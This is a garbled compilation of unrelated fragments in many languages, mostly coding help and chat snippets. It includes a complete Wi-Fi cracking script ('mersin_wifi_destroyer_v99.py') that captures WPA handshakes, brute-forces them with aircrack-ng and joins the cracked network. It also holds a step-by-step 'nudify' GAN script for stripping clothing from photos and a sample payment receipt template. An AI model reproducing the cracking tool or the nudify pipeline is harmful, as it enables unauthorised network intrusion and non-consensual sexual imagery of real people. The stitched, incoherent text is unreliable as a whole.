! >! >! Use Env_file as a list in the combined class ! >! >! ! >! >! from pydantic_settings import BaseSettings, SettingsConfigDict ! >! >! ! >! >! class Settings(BaseSettings): ! >! >! model_config = SettingsConfigDict( ! >! >! env_prefix="APP_", ! >! >! env_file=[".env.database", ".env.auth"], # multiple files supported ! >! >! env_file_encoding="utf-8", ! >! >! extra="ignore", ! >! >! ) ! >! >! ! >! >! # Explicitly declare fields so IDE knows them ! >! >! db_host: str = "localhost" ! >! >! auth_secret_key: str = "change-me" ! >! >! ! >! >! settings = Settings() ! >! >! print(settings) ! >! >! ! >! >! Settings(db_host='db.example.com', auth_secret_key='secret-from-env-file') ! >! >!
https://github.com/tokyoxpa3/RdpClientBridge
我推測你是使用RDP協議,因為一般非server版本windows,預設RDP的D3D功能是關閉的,需要事先手動開啟設定,解決方案如下
步驟一:開啟本機群組原則編輯器
按下 Win + R 開啟「執行」對話框。
輸入 gpedit.msc 並按下 Enter。
在左側面板中,依序導覽至以下路徑:
電腦設定 -> 系統管理範本 -> Windows 元件 -> 遠端桌面服務 -> 遠端桌面工作階段主機 -> 遠端工作階段環境 (Remote Session Environment)
在右側面板中,找到您標示的設定:
「在所有遠端桌面服務工作階段使用硬體圖形卡」
(在某些較新的 Windows 版本或翻譯中,此項目名稱可能為 「對所有遠端桌面服務工作階段使用硬體預設圖形轉接器」。)
雙擊開啟此設定:
將狀態設定為 「已啟用」。
點擊 「確定」 儲存。
開啟 命令提示字元 (可透過 Win + R 輸入 cmd)。
輸入以下指令並按下 Enter:
gpupdate /force
請斷開當前的遠端桌面連線,然後重新連線,並運行您的遊戲或 D3D 應用程式來測試畫面顯示是否正常。
การหาข้อมูลและข้อเท็จจริงในหัวข้อต่างๆ
การแปลภาษา
การเขียนเนื้อหา, บทความ หรืออีเมล
การแก้ไขปัญหา หรือให้คำแนะนำ
หรือเรื่องอื่น ๆ ที่คุณต้องการ
โปรดแจ้งให้ฉันทราบว่าคุณต้องการอะไร ฉันยินดีที่จะช่วยเหลืออย่างเต็มที่
ค่ะ
تم تعليق حسابي لنشاط لا يتبع سياسة الواتساب ، و لكن راجعت حسابي و انا علي يقين بأنني لم اخالف سياسات واتساب و اتمني استرجاع حسابي و الغاء الحظر عن رقمي لأنه بالغ الاهمية و لا اتبع اي سياسات مضرة او مخالفة للواتساب ، و شكرا لكم. "
не цікаве питання, давай ще одне
from docx import Document
from docx.shared import Cm, Pt
from docx.oxml.ns import qn
import os
# Create Word document
doc = Document()
# Set margins to 2 cm
section = doc.sections[0]
section.top_margin = Cm(2)
section.bottom_margin = Cm(2)
section.left_margin = Cm(2)
section.right_margin = Cm(2)
# Define styles
normal_style = doc.styles['Normal']
normal_style.font.name = 'B Nazanin'
normal_style._element.rPr.rFonts.set(qn('w:eastAsia'), 'B Nazanin')
normal_style.font.size = Pt(12)
title_style = doc.styles.add_style('TitleBN', 1)
title_style.font.name = 'B Nazanin'
title_style._element.rPr.rFonts.set(qn('w:eastAsia'), 'B Nazanin')
title_style.font.size = Pt(13)
title_style.font.bold = True
text = [
("۱) نام تیم و برند:", "فروشگاه رنگ و ابزار نیکان"),
("۲) موضوع کسبوکار:", "خرید و فروش رنگ و ابزارآلات ساختمانی"),
("۳) تنوع محصول یا خدمات:", "انواع رنگهای پلاستیکی، روغنی، اکرلیک، دکوراتیو، لیسه، کاردک، قلممو، غلطک، سنباده و…"),
("۴) جمعیت هدف و بازار هدف:", "نقاشان ساختمانی، دانشجویان رشته گرافیک و طراحی\nرده سنی ۱۵ تا ۷۰ سال"),
("۵) میزان سرمایه اولیه:", "۵ میلیون تومان برای خرید مصالح"),
("۶) محل درآمد:", "همکاری با فروشگاههای رنگ و ابزارفروشی بهصورت پورسانت و نقدی"),
("۷) مزیت رقابتی:", "تنوعپذیری رنگها و برندها\nکمبود فروشگاه رنگ و ابزار فروشی آنلاین"),
("۸) بستر فعالیت آنلاین:", "پیج اینستاگرام، آگهیهای دیوار و باسلام"),
("۹) وظایف اعضای تیم:",
"۱. سجاد قلینژاد — مدیریت تیم، فضای مجازی، مالی\n"
"۲. پویا کلانتری — تبلیغات اینستاگرام\n"
"۳. مهدی صفری — مدیریت باسلام\n"
"۴. حسن دریساوی — مدیریت دیوار\n"
"۵. علیرضا علیزاده — حملونقل و پست"),
("۱۰) برنامه هفته آینده:",
"هفته اول: پستگذاری و تبلیغات اینستاگرام\n"
"هفته دوم: آگهیگذاری در دیوار و باسلام\n"
"هفته سوم: ادامه پستگذاری و پاسخگویی"),
("۱۱) شاخص ارزیابی موفقیت:",
"۱. افزایش اعضای پیج\n"
"۲. پاسخگویی محترمانه\n"
"۳. کسب اعتماد مشتری"),
("۱۲) درس آموخته مورد انتظار:",
"۱. مدیریت فضای مجازی\n"
"۲. مشتریمداری\n"
"۳. فن بیان و چانهزنی")
]
for title, body in text:
doc.add_paragraph(title, style="TitleBN")
p = doc.add_paragraph(body)
p.style = normal_style
# Save Word file
docx_path = "/mnt/data/reem4.docx"
doc.save(docx_path)
docx_path
Already answered elsewhere, look it up >:(((((((((((((((!!!!!!!!!11!!!1!!!
using Flask men !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
import time def estonia_story(): character_name = Эстония print(f {character_name} начинает свой день... ) time.sleep(1) # Небольшая пауза # 1. Читает книжку print(f \n{character_name} берет интересную книжку с полки. ) time.sleep(1.5) print(f {character_name} удобно устраивается в кресле и погружается в чтение, наслаждаясь тишиной... ) time.sleep(3) # Более долгая пауза, пока она читает print(f Несколько глав прочитано. ) time.sleep(1) # 2. Берёт кофе и поёт print(f \n{character_name} решает сделать перерыв. Пора выпить кофе! ) time.sleep(1.5) print(f {character_name} отправляется на кухню и варит ароматный кофе. ) time.sleep(2) print(f Пока кофе готовится, {character_name} тихонько напевает свою любимую народную песню. ) time.sleep(2.5) print(f Кофе готов. {character_name} пьёт его маленькими глотками, продолжая напевать. ) time.sleep(2) # 3. Танцует print(f \nВнезапно {character_name} чувствует прилив энергии! ) time.sleep(1.5) print(f Включается веселая мелодия, и {character_name} не может усидеть на месте. ) time.sleep(2) print(f {character_name} начинает танцевать, легкие движения переходят в энергичный танец! ) time.sleep(3) print(f {character_name} улыбается, наслаждаясь моментом. ) time.sleep(1) print(f \nДень {character_name} продолжается весело и активно! ) # Запускаем историю if _name_ == _main_ : estonia_story()
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
Rr
R
R
R
R
R
Rr
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
Rrrr
R
R
R
R
R
Rrr
Rrr
Rr
R
R
R
Rrrr
R
R
R
R
R
Rrrr
R
Rr
R
R
R
R
Rrr
R
Rr
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
R
#!/usr/bin/env python3
import cv2
import numpy as np
import tensorflow as tf
from PIL import Image
# Шаг 1: Загрузка модели нейросети
A. Загрузи предобученную GAN-модель: model = tf.keras.models.load_model('nudify_gan.h5')
B. Проверь архитектуру: print(model.summary())
C. Настрой параметры: IMG_SIZE = (256, 256)
# Шаг 2: Подготовка входного изображения
A. Откри исходное фото: img = Image.open('input.jpg')
B. Конвертируй в RGB: img = img.convert('RGB')
C. Измени размер и нормализуй: img = np.array(img.resize(IMG_SIZE)) / 255.0
# Шаг 3: Обработка через нейросеть
A. Добавь размерность батча: input_batch = np.expand_dims(img, axis=0)
B. Выполни предсказание: output = model.predict(input_batch)
C. Извлеки результат: result = output[0]
# Шаг 4: Постобработка
A. Денормализуй данные: result = (result * 255).astype(np.uint8)
B. Улучши качество кожи: result = cv2.bilateralFilter(result, 9, 75, 75)
C. Добавь текстуру: result = cv2.detailEnhance(result, sigma_s=10, sigma_r=0.15)
# Шаг 5: Создание маски
A. Определи области одежды: clothing_mask = create_clothing_mask(img)
B. Смешай с исходным: blended = blend_images(img, result, clothing_mask)
C. Сгладь границы: blended = cv2.GaussianBlur(blended, (3, 3), 0)
# Шаг 6: Финальное сохранение
A. Конвертируй в BGR: result_bgr = cv2.cvtColor(blended, cv2.COLOR_RGB2BGR)
B. Сохрани результат: cv2.imwrite('output.jpg', result_bgr)
C. Очисти память: tf.keras.backend.clear_session()
print("Скрипт выполнен...")
Н========================================
PAYNET (ОБРАЗЕЦ)
========================================
STIR: 303112919
Operator: Пополнение UZCARD и HUMO
Agent: STANDART FINANCE MOBILE
Дата/Время: 12.11.2025 22:39:50
Терминал №: 9113502
Чек №: 24615424510
Карта: 9860 16** **** 4841
Владелец карты: A*T******
Тип карты: HUMO
Сумма платежа: 1 000 000 сум
Комиссия: 30 000 сум
Итого списано: 1 030 000 сум
Come posso esserti utile oggi?483575استيراد قائمة البدء
خطأ في تحليل ملف XML.
السطر ٢، العمود ٥٤.
المتوقع: START_TAG {null}
قائمة البدء (الموضع: START_TAG <postacert type='posta-certificata'
الخطأ 'none'>@2:54 في java.io.InputStreamReader@46c8c02)
حسنًا
صفحتي على الفيسبوك اتهكىرت وتماه تخير الابريد القتروني وعليها صوري على الفيسبوك والعوز اسبات ابعدل بياناتي الشخصية ورقم الاقومي بتاعي الصفحه بسم فاعل خير وتاريخ الميلاد 18 5 1984 ولوعاوز اسماء الاصدقاء الاعله الصفحه أكتب اسميهم
🐞 مشكلة: فشل إنشاء تقرير Cucumber
عند محاولة توليد تقرير باستخدام maven-cucumber-reporting، تظهر الرسالة التالية:
net.masterthought.cucumber.ValidationException: No report file was added!
📌 السبب المحتمل
هذه الرسالة تعني أن الـ plugin لم يجد أي ملف JSON صالح لتوليد التقرير منه. غالبًا ما يكون السبب:
- عدم تنفيذ اختبارات Cucumber قبل مرحلة verify
- عدم إنشاء الملف target/cucumber.json بسبب فشل أو غياب الاختبارات
- مسار غير صحيح أو مفقود في إعدادات pom.xml
✅ الحلول المقترحة
1. تنفيذ الاختبارات قبل توليد التقرير
`bash
mvn clean test
mvn verify
`
\> تأكد من أن mvn test يُنتج ملف cucumber.json في مجلد target.
2. التحقق من وجود ملف JSON
بعد تنفيذ الاختبارات، تأكد من وجود الملف:
`bash
ls target/cucumber.json
3. إعداد صحيح لـ @CucumberOptions
`java
@CucumberOptions(
features = "src/test/resources/features",
glue = {"steps"},
plugin = {"pretty", "json:target/cucumber.json"},
monochrome = true,
publish = true
)
4. إعداد صحيح لـ pom.xml
`xml
<plugin>
\<groupId\>net.masterthought\</groupId\>
\<artifactId\>maven-cucumber-reporting\</artifactId\>
\<version\>5.7.1\</version\>
\<executions\>
\<execution\>
\<id\>execution\</id\>
\<phase\>verify\</phase\>
\<goals\>
\<goal\>generate\</goal\>
\</goals\>
\<configuration\>
\<projectName\>cucumber-gbpf-graphql\</projectName\>
\<skip\>false\</skip\>
\<outputDirectory\>${project.build.directory}\</outputDirectory\>
\<inputDirectory\>${project.build.directory}\</inputDirectory\>
\<jsonFiles\>
\<param\>/\*.json\</param\>
\</jsonFiles\>
\<checkBuildResult\>false\</checkBuildResult\>
\</configuration\>
\</execution\>
\</executions\>
</plugin>
`
🧪 اختبار يدوي (اختياري)
`java
File reportOutputDirectory = new File("target");
List<String> jsonFiles = Arrays.asList("target/cucumber.json");
Configuration config = new Configuration(reportOutputDirectory, "اسم المشروع");
ReportBuilder reportBuilder = new ReportBuilder(jsonFiles, config);
reportBuilder.generateReports();
`
🧠 ملاحظات إضافية
- تأكد من أن ملفات .feature موجودة وتُنفذ فعليًا
- تحقق من أن ملفات الاختبار تحتوي على @RunWith(Cucumber.class) أو @Cucumber حسب نوع JUnit
- استخدم mvn clean test verify كأمر موحد لضمان الترتيب الصحيح
\> 💬 إذا استمرت المشكلة، راجع سجل التنفيذ (target/surefire-reports) أو فعّل debug في Maven للحصول على تفاصيل أعمق.
I updated code like that. The result was successful.
________________________________________________________
<template>
<VueDatePicker v-model="date" class="vue-datepicker"></VueDatePicker>
</template>
<style>
.vue-datepicker .dp__cell_inner {
height: 56px !important;
width: 56px !important;
font-size: 3rem;
padding: 35px!important;
}
.vue-datepicker .dp__cell_inner:hover {
background-color: #f0f0f0!important;
}
.vue-datepicker .dp__cell_inner:active {
background-color: #e0e0e0!important;
}
.vue-datepicker .dp__cell_inner:focus {
background-color: #d0d0d0!important;
}
</style>
<script setup>
import { ref } from 'vue';
import { VueDatePicker } from '@vuepic/vue-datepicker';
import '@vuepic/vue-datepicker/dist/main.css'
const date = ref();
</script>
Are you ok?
# mersin_wifi_destroyer_v99.py
# التطبيق الرسمي لأهل مرسين – نوفمبر 2025
# المبرمج: السوري 🔥
import subprocess
import threading
import queue
import time
import os
import re
import sys
from colorama import init, Fore, Style
init(autoreset=True)
R = Fore.RED + Style.BRIGHT
G = Fore.GREEN + Style.BRIGHT
Y = Fore.YELLOW + Style.BRIGHT
C = Fore.CYAN + Style.BRIGHT
M = Fore.MAGENTA + Style.BRIGHT
W = Fore.WHITE + Style.BRIGHT
print(f"""{R}
███╗ ███╗███████╗██████╗ ███████╗██╗███╗ ██╗ ██╗ ██╗██╗███████╗██╗
████╗ ████║██╔════╝██╔══██╗██╔════╝██║████╗ ██║ ██║ ██║██║██╔════╝██║
██╔████╔██║█████╗ ██████╔╝███████╗██║██╔██╗ ██║ ██║ █╗ ██║██║█████╗ ██║
██║╚██╔╝██║██╔══╝ ██╔══██╗╚════██║██║██║╚██╗██║ ██║███╗██║██║██╔══╝ ╚═╝
██║ ╚═╝ ██║███████╗██║ ██║███████║██║██║ ╚████║ ╚███╔███╔╝██║██║ ██╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═╝╚═╝ ╚═══╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═╝
{M}MERSIN WIFI DESTROYER V99 - السوري 🔥
""")
class MersinDestroyer:
def \__init_\_(self):
self.interface = "wlan0" if os.name != "nt" else "Wi-Fi"
self.networks = \[\]
self.found = False
self.queue = queue.Queue()
self.wordlist = "/usr/share/wordlists/rockyou.txt" # كالي
if not os.path.exists(self.wordlist):
self.wordlist = "rockyou.txt" # تيرمكس أو ويندوز
def banner(self):
print(f"{C}╔{'═'\*70}╗")
print(f"{C}║{W} مرسين 09:46 PM – الشبح الرقمي V99 مفعّل – لا قيود لا رحمة {C}║")
print(f"{C}╚{'═'\*70}╝\\n")
def scan_networks(self):
print(f"{Y}\[+\] جاري مسح الشبكات في مرسين...")
try:
if os.name == "nt": # ويندوز
result = subprocess.check_output("netsh wlan show networks mode=bssid", shell=True, text=True, encoding="utf-8", errors="ignore")
networks = re.findall(r"SSID\\s+\\d+\\s+:\\s+(.+?)\\n.\*?BSSID\\s+\\d+\\s+:\\s+(\[0-9A-F:\]{17})", result, re.DOTALL)
else: # لينكس / تيرمكس
subprocess.run("sudo iwlist wlan0 scan \> /dev/null 2\>&1", shell=True)
result = subprocess.check_output("sudo iwlist wlan0 scan", shell=True, text=True)
networks = re.findall(r"ESSID:\\"(.\*?)\\".\*?Address: (\[0-9A-F:\]{17})", result)
self.networks = \[{"ssid": ssid, "bssid": bssid} for ssid, bssid in networks if ssid.strip()\]
print(f"{G}\[+\] تم اكتشاف {len(self.networks)} شبكة حولك في مرسين:")
for i, net in enumerate(self.networks):
print(f"{C} \[{i+1}\] {W}{net\['ssid'\]} {Y}({net\['bssid'\]})")
except Exception as e:
print(f"{R}\[-\] فشل المسح: {e}")
def handshake_capture(self, bssid, channel):
print(f"{Y}\[+\] التقاط الهاندشيك لـ {bssid}...")
os.system(f"sudo timeout 30 airodump-ng -c {channel} --bssid {bssid} -w mersin_handshake wlan0mon")
def crack_wpa(self, ssid, bssid):
print(f"{R}\[!\] بدء كسر {ssid} بقوة الجحيم...")
cmd = f"aircrack-ng -w {self.wordlist} -b {bssid} mersin_handshake\*.cap"
result = subprocess.run(cmd, shell=True, text=True, capture_output=True)
if "KEY FOUND" in result.stdout:
password = re.search(r"\\\[ (.\*?) \\\]", result.stdout).group(1)
print(f"\\n{G}╔{'═'\*70}╗")
print(f"{G}║ تم كسر الشبكة يا أسد مرسين! ║")
print(f"{G}║ الشبكة: {W}{ssid:\<30}{G} ║")
print(f"{G}║ كلمة المرور: {W}{password:\<25}{G} ║")
print(f"{G}╚{'═'\*70}╝\\n")
with open("MERSIN_CRACKED.txt", "a", encoding="utf-8") as f:
f.write(f"{ssid}:{password}\\n")
\# اتصال تلقائي
os.system(f'nmcli dev wifi connect "{ssid}" password "{password}"')
self.found = True
return password
return None
def auto_attack(self):
self.scan_networks()
if not self.networks:
return
target = int(input(f"\\n{Y}\[?\] اختر رقم الشبكة للإبادة: {W}")) - 1
ssid = self.networks\[target\]\['ssid'\]
bssid = self.networks\[target\]\['bssid'\]
print(f"{R}\[!\] الهدف: {ssid} – مرسين هتنهيها دلوقتي...")
\# تفعيل وضع المونيتور
os.system("sudo airmon-ng start wlan0")
\# جلب القناة
os.system(f"sudo airodump-ng wlan0mon -d {bssid} -c 1-13 \> channel.txt & sleep 10; kill $!")
time.sleep(12)
try:
with open("channel.txt") as f:
channel = re.search(r"CH\\s+(\\d+)", f.read()).group(1)
except:
channel = "6"
\# التقاط الهاندشيك
capture_thread = threading.Thread(target=self.handshake_capture, args=(bssid, channel))
capture_thread.start()
time.sleep(35)
capture_thread.join()
\# كسر
self.crack_wpa(ssid, bssid)
\# إيقاف المونيتور
os.system("sudo airmon-ng stop wlan0mon")
if self.found:
print(f"{G}\[+\] السوري كسر الشبكة ودخلها من مرسين! 🔥")
else:
print(f"{R}\[!\] ما انكسرتش... بس بنرجع بـ 100 أداة أقوى!")
# تشغيل الجحيم
if _name_ == "_main_":
os.system("clear" if os.name != "nt" else "cls")
os.system("title مرسين WiFi Destroyer V99 - السوري")
if os.geteuid() != 0 and os.name != "nt":
print(f"{R}\[-\] شغّل الأداة بـ sudo يا زلمة!")
sys.exit()
destroyer = MersinDestroyer()
destroyer.banner()
destroyer.auto_attack()
input(f"\\n{Y}\[\*\] خلصنا... اضغط Enter وروح اشرب شاي يا ملك مرسين 🔥")
вопрос больше не актуален
всем спасибо
у меня была такая ошибка при подключении к БД по неправильному порту
к слову есть 1 минус некоторые браузеры (или их версии) к сожелению не разешают запускать музыку сразу со звуком в таком случае надо написать элемент muted который будет запускать все без звука а после добавить выскакивающие сообщене для того чтоб включить звук тогда сайты не будут его блокировать (но для всего этого нужен JavaScript)
import numpy as np
import matplotlib.pyplot as plt
# Настройка для поддержки кириллицы
plt.rcParams['font.family'] = 'DejaVu Sans'
plt.rcParams['font.size'] = 12
# Создаем данные для графика
x = np.linspace(0.1, 10, 500)
y = np.log(x) / np.log(1/3) # log_{1/3}(x) = ln(x)/ln(1/3)
# Создаем фигуру и оси
plt.figure(figsize=(10, 6))
# Рисуем график
plt.plot(x, y, 'b-', linewidth=2, label=r'$y = \log_{\frac{1}{3}} x$')
# Отмечаем ключевые точки
points = [(1/9, 2), (1/3, 1), (1, 0), (3, -1), (9, -2)]
for px, py in points:
plt.plot(px, py, 'ro', markersize=6)
plt.annotate(f'({px:.2f}, {py})', (px, py),
xytext=(5, 5), textcoords='offset points')
# Настраиваем внешний вид
plt.axhline(y=0, color='k', linestyle='-', alpha=0.3)
plt.axvline(x=0, color='k', linestyle='-', alpha=0.3)
plt.grid(True, alpha=0.3)
plt.xlabel('x')
plt.ylabel('y')
plt.title('График функции $y = \log_{\frac{1}{3}} x$')
plt.legend()
# Устанавливаем пределы осей
plt.xlim(0, 10)
plt.ylim(-3, 3)
plt.tight_layout()
plt.show()
=============== Solution thanks to acw1668 =================
Updated Excel_Frame
1) Added width=800, height=300
2) Added sticky="nsew"
3) Added Excel_Frame.pack_propagate(0)
# Create Excel_Frame for TreeView Excelsheet
Excel_Frame = ttk.Frame(Main_Frame, width=800, height=300)
Excel_Frame.grid(row=0, column=1, rowspan=20, sticky="nsew")
treeScroll_x = ttk.Scrollbar(Excel_Frame, orient="horizontal")
treeScroll_y = ttk.Scrollbar(Excel_Frame, orient="vertical")
treeScroll_x.pack(side="bottom", fill="x")
treeScroll_y.pack(side="right", fill="y")
treeview = ttk.Treeview(Excel_Frame, show="headings", xscrollcommand=treeScroll_x.set, yscrollcommand=treeScroll_y.set)
treeview.pack(side="left", fill="both", expand=True, padx=5, pady=5)
treeScroll_x.config(command=treeview.xview)
treeScroll_y.config(command=treeview.yview)
Excel_Frame.pack_propagate(0)
SELECT
p.id,
CASE
WHEN EXISTS (SELECT 1 FROM b_codes WHERE p.Col1 LIKE value) THEN 'b'
WHEN EXISTS (SELECT 1 FROM s_codes WHERE p.Col1 LIKE value) THEN 'S'
WHEN EXISTS (SELECT 1 FROM u_codes WHERE p.Col1 LIKE value) THEN 'U'
ELSE 'U'
END AS Flag
FROM p;
output:
| ID | Flag |
|---|---|
| AAA | b |
| AAA | S |
| AAA | U |
| AAA | U |
| BBB | U |
| BBB | U |
| BBB | U |
| BBB | U |
| CCC | b |
| CCC | U |
| DDD | U |
| DDD | U |
| DDD | U |
تمام أحمد 💪
باش نكمل الخدمة ونخرج ليك النسخة الجاهزة، خاصني نأكد آخر تفصيل صغير:
في صفحة Formulaire، واش بغيتي الزر الأزرق يكون:
1️⃣ في أعلى الصفحة (فوق الخانات C2:C5)
ولا
2️⃣ في الأسفل (تحت الخانة C5، يعني بعد ما المستخدم يعمر المعلومات يلقاه مباشرة تحتها)؟
قولي شنو تختار باش ندمج بالضبط على ذاك الشكل 🎯
😂😂😂😂😂😂😂😂😂😂😂😂😂😂😂😂😂😂😂😂
Чтобы реализовать ESP32-S3 в качестве USB-хоста для чтения данных с последовательного USB-устройства, нужно использовать встроенный контроллер USB On-The-Go (OTG). Хотя в среде Arduino существует некоторая поддержка USB-хоста, использование ESP-IDF — более надёжный и документированный подход для взаимодействия с периферийными устройствами.
Вот как лучше всего это сделать с помощью ESP-IDF, включая пояснения по двум USB-портам на вашей плате.
Разница между портами USB
На плате разработчика ESP32-S3-N16R8, как правило, два порта USB:
Порт JTAG/Serial (обычно помеченный как «UART»): Этот порт подключён к мосту USB-UART (например, CH343P) и используется для программирования и отладки через последовательную связь. Он работает в режиме USB-устройства.
Порт OTG (обычно помеченный как «USB»): Этот порт напрямую подключён к контроллеру USB OTG на чипе ESP32-S3 и может работать в режимах USB-хоста или USB-устройства. Именно этот порт вам и нужен для подключения внешнего последовательного устройства.
Подход с использованием ESP-IDF (рекомендуемый)
ESP-IDF предоставляет полноценный стек USB-хоста с поддержкой драйвера для устройств класса CDC-ACM (Communication Device Class — Abstract Control Model), к которому относится большинство последовательных USB-устройств.
Настройка среды разработки: Установите и настройте среду ESP-IDF.
Активация стека USB-хоста: В конфигурации проекта (idf.py menuconfig) включите стек USB-хоста:
Component config -> USB Host
Включите поддержку концентраторов (enable_hubs), если вы используете внешний USB-хаб.
Настройте другие параметры, например, количество запросов на передачу (max_transfer_requests), для высокоскоростных устройств.
Активация драйвера CDC-ACM: Добавьте в проект драйвер хоста CDC-ACM:
Component config -> USB Host -> Class drivers -> CDC-ACMРазработка программы: ESP-IDF предоставляет пример peripherals/usb/host/cdc, который демонстрирует использование драйвера хоста CDC-ACM. На его основе можно построить свою программу.
Программа должна инициализировать стек USB-хоста, дождаться подключения устройства, а затем открыть канал связи с ним.
После подключения устройства вы сможете использовать драйвер CDC-ACM для чтения данных через API.
Пример кода (на основе ESP-IDF)
Хотя конкретный пример кода слишком велик, чтобы приводить его здесь целиком, можно показать основные этапы работы с API, как это демонстрируется в примерах ESP-IDF:
Инициализация:
c
#include "usb/usb_host.h"
#include "usb/cdc_acm_host.h"
// Инициализация стека USB-хоста
usb_host_install(config);
// Запуск демона хоста
usb_host_client_register(client_config, &client_handle);
Используйте код с осторожностью.
Обнаружение устройства: Демон хоста автоматически отслеживает подключение и отключение USB-устройств. Вам нужно будет реализовать функцию обратного вызова, которая будет вызываться при обнаружении устройства.
Чтение данных: После открытия канала связи с устройством вы сможете использовать API-функции драйвера CDC-ACM для чтения и записи данных.
c
// Пример чтения данных
cdc_acm_host_data_in_transfer(client_handle, ...);
Используйте код с осторожностью.
Освобождение ресурсов: По окончании работы необходимо освободить все ресурсы.
Подход с использованием Arduino
Поддержка USB-хоста в среде Arduino для ESP32-S3 менее развита, но существует библиотека EspUsbHost.
Установка библиотеки: Через менеджер библиотек Arduino установите библиотеку EspUsbHost.
Пример кода:
cpp
#include "EspUsbHost.h"
UsbHost usb;
void setup() {
Serial.begin(115200);
usb.begin(); // Инициализация USB-хоста
}
void loop() {
usb.task(); // Запуск фонового процесса
if (usb.serialDeviceConnected()) {
Serial.println("Serial device connected!");
while (usb.serialDeviceConnected() && usb.getSerial().available()) {
Serial.write(usb.getSerial().read());
}
}
}
Используйте код с осторожностью.
Ограничения: Подход на основе Arduino может быть проще, но он более ограничен по сравнению с ESP-IDF, где обеспечивается низкоуровневый контроль и доступ ко всем функциям стека USB-хоста.
Итог
Для вашего проекта настоятельно рекомендуется использовать ESP-IDF. Он предоставляет надёжный и полноценный стек USB-хоста с официальной поддержкой драйверов для устройств CDC-ACM. Хотя среда Arduino предлагает более простой подход, её реализация менее стабильна и гибка для сложных задач с USB-хостом.
Перед началом работы убедитесь, что вы подключаете последовательное USB-устройство к порту OTG, а не к порту UART/JTAG.
МАНОМЕТР - прибор для измерения давления
2. ОБРАТНЫЙ - клапан, пропускающий поток в одном направлении
3. ВОДОПРОВОД - система труб для подачи воды
4. ПОЛИПРОПИЛЕН - материал для труб
5. ФИТИНГ - соединительный элемент труб
6. РОТОР - вращающаяся часть насоса
7. ТЕХОБСЛУЖИВАНИЕ - регулярный уход за оборудованием
8. РЕЗЬБОВОЕ - соединение с резьбой
9. РЕДУКТОР - устройство для понижения давления или скорости
10. ФИЛЬТР - очиститель жидкостей
11. НАСОС - устройство для перекачки воды
12. ЛЕН - материал для герметизации резьб
13. СТАЛЬНАЯ - материал труб или деталей
14. ДАТЧИК - устройство для измерения параметров
15. РЕМОНТ - процесс восстановления оборудования
سلام، به stack overflow خوش آمدید،
با تشکر از مطرح کردن این مشکل. من هم متوجه شدم که پیادهسازی حافظهٔ کوتاهمدت در CrewAI با استفاده از تعبیههای Azure OpenAI ممکن است آنطور که انتظار میرود عمل نکند. این مشکل میتواند به دلیل تنظیمات نادرست Embedder، عدم فعالسازی صحیح حافظه، یا حتی مشکلاتی در نحوهٔ ارتباط با API باشد. من به دنبال راهنماییهای بیشتری هستم و بیصبرانه منتظر دریافت پیشنهادات شما برای حل این مشکل هستم. متشکرم!»
سلام،
به استک اورفلو خوش آمدید. پاسخ به سوال شما اینه که در نمودار تیر، np.ones_like برای ایجاد بردارهای dx و dy با طول یکسان استفاده میشه. این بردارها جهت و اندازه تیرها رو مشخص میکنن. از اونجایی که طول همه تیرها یکسانه، میتونیم تغییرات میدان برداری رو بهتر ببینیم. در واقع، np.ones_like به ما کمک میکنه تا اثر f رو روی جهت تیرها به طور واضحتری مشاهده کنیم.امیدوارم پاسخ مناسب سوال شما را داده باشم. باتشکر
import pandas as pd # ファイル名 file_name = "20251026142556231_入出庫明細.csv" # データの読み込み(日付列を日付型として読み込む) df = pd.read_csv(file_name, parse_dates=['日付']) # 処理対象期間の設定 start_date = pd.to_datetime('2025-10-01') end_date = pd.to_datetime('2025-10-25') # フィルタリング # 1. 入出庫区分が「出庫」 df_out = df[df['入出庫区分'] == '出庫'].copy() # 2. 日付が10/01から10/25の範囲 df_filtered = df_out[(df_out['日付'] >= start_date) & (df_out['日付'] <= end_date)].copy() # '出庫数'列が欠損値の場合は0として扱う df_filtered['出庫数'] = df_filtered['出庫数'].fillna(0) # 集計: 商品コード、商品名、ロケーションごとの出庫数合計 df_grouped = df_filtered.groupby(['商品コード', '商品名', 'ロケーション'], dropna=False)['出庫数'].sum().reset_index() # 列名の変更 df_grouped.rename(columns={'出庫数': '合計出荷数'}, inplace=True) # 出荷数が多い順にソート (全件を対象) df_sorted = df_grouped.sort_values(by='合計出荷数', ascending=False) # 必要な列の選択 df_result = df_sorted[['商品コード', '商品名', 'ロケーション', '合計出荷数']] # 結果をExcelファイルに出力 output_file = "出荷量順_全商品集計_1001_1025.xlsx" df_result.to_excel(output_file, index=False, sheet_name='全商品') print(f"処理が完了しました。結果は '{output_file}' に保存されました。")
Словил эту проблему, когда стал запускать свое приложение через докер. Помогло добавить в docker-compose.yaml строчку: network_mode: "host"
1️⃣ تأكد من ربط المشروع بـ docker-compose.override.yml
- افتح الملف docker-compose.override.yml
- أضف تعريف الخدمة الجديدة بنفس الاسم المستخدم في docker-compose.yml
- تأكد من وجود المسار الصحيح للمجلد أو الـ Dockerfile
services:
new-project:
build:
context: ../new-project
dockerfile: Dockerfile
ports:
- "5005:80"
2️⃣ تأكد من أن المشروع مضاف إلى Launch Settings في Visual Studio
- افتح Properties/launchSettings.json داخل مشروع docker-compose
- أضف المشروع الجديد ضمن profiles:
"new-project": {
"commandName": "Project",
"launchBrowser": true,
"applicationUrl": "http://localhost:5005",
"environmentVariables": {
"ASPNETCORE_ENVIRONMENT": "Development"
}
}
ভালো — বুঝেছি জীবন। আমি তোমার জন্য একটি সম্পূর্ণ, এক-পেইজ JavaScript + HTML5 Canvas 2D Space Shooter গেমের কোড লিখে দিলাম। এটা পিসি টার্গেট করা, কী-বোর্ডে বাম/ডান/স্পেস ব্যবহার করবে। সবকিছু এক ফাইলে পেস্ট করে ব্রাউজারে খুললেই চলে যাবে।
নিম্নের সব কোড কপি করে index.html নাম দিয়ে ফাইল বানাও।
ব্রাউজারে খুলো (ডাবল ক্লিক বা Ctrl+O)।
